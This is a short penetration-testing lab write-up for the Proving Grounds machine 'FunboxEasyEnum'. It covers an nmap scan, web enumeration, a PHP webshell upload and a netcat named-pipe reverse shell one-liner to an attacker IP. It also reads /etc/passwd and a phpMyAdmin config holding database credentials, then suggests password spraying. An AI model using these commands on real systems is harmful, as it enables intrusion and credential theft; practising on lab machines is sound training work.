---
title: "ProvingGrounds - FunboxEasyEnum"
date: 2024-05-27
draft: false
---

NMAP 

```bash
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p- -A 192.168.180.132

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 21:54 EDT
Nmap scan report for 192.168.180.132
Host is up (0.047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9c:52:32:5b:8b:f6:38:c7:7f:a1:b7:04:85:49:54:f3 (RSA)
|   256 d6:13:56:06:15:36:24:ad:65:5e:7a:a1:8c:e5:64:f4 (ECDSA)
|_  256 1b:a9:f3:5a:d0:51:83:18:3a:23:dd:c4:a9:be:59:f0 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=5/27%OT=22%CT=1%CU=36358%PV=Y%DS=4%DC=T%G=Y%TM=6655
OS:398D%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=103%TI=Z%II=I%TS=A)OPS(O1
OS:=M551ST11NW7%O2=M551ST11NW7%O3=M551NNT11NW7%O4=M551ST11NW7%O5=M551ST11NW
OS:7%O6=M551ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=
OS:Y%DF=Y%T=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=
OS:D162%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1   45.78 ms 192.168.45.1
2   45.75 ms 192.168.45.254
3   46.13 ms 192.168.251.1
4   46.19 ms 192.168.180.132

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.48 seconds

```

----
![](/img/Pasted image 20240527205958.png)
![](/img/Pasted image 20240527210117.png)
** fuckup - this isn't the only page you should have been able to find. enumerating a little better, using feroxbuster and giving it suffix for `php` we get a lot more data: 
![](/img/Pasted image 20240527211348.png)
![](/img/Pasted image 20240527211519.png)

cool 
we upload a php based webshell from revshells.com and we get some basic code execution: 
![](/img/Pasted image 20240527211845.png)
![](/img/Pasted image 20240527211904.png)
```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.49.68 80 >/tmp/f
```
![](/img/Pasted image 20240527212024.png)
![](/img/Pasted image 20240527212037.png)
upgrade shell: 
```bash
$ /usr/bin/script -qc /bin/bash /dev/null
```

running `cat /etc/passwd` shows that `oracle` has a password hash in the passwd file: 
```bash
goat:x:1003:1003:,,,:/home/goat:/bin/bash
oracle:$1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
lissy:x:1005:1005::/home/lissy:/bin/sh
```

hashcat module 500:
```bash
|500|md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) EXAMPLE: $1$28772684$iEwNOgGugqO9.bIz5sk8k/|
```

![](/img/Pasted image 20240527212306.png)
poking around a bit gives us: 
```bash
www-data@funbox7:/var$ cat /etc/phpmyadmin/config-db.php
cat /etc/phpmyadmin/config-db.php
<?php
##
## database access settings in php format
## automatically generated from /etc/dbconfig-common/phpmyadmin.conf
## by /usr/sbin/dbconfig-generate-include
##
## by default this file is managed via ucf, so you shouldn't have to
## worry about manual changes being silently discarded.  *however*,
## you'll probably also want to edit the configuration file mentioned
## above too.
##
$dbuser='phpmyadmin';
$dbpass='tgbzhnujm!';
$basepath='';
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='3306';
$dbtype='mysql';
www-data@funbox7:/var$ 
```
![](/img/Pasted image 20240527220240.png)

this is a rabbithole :-) 
throw around this password to other users found in /etc/passwd
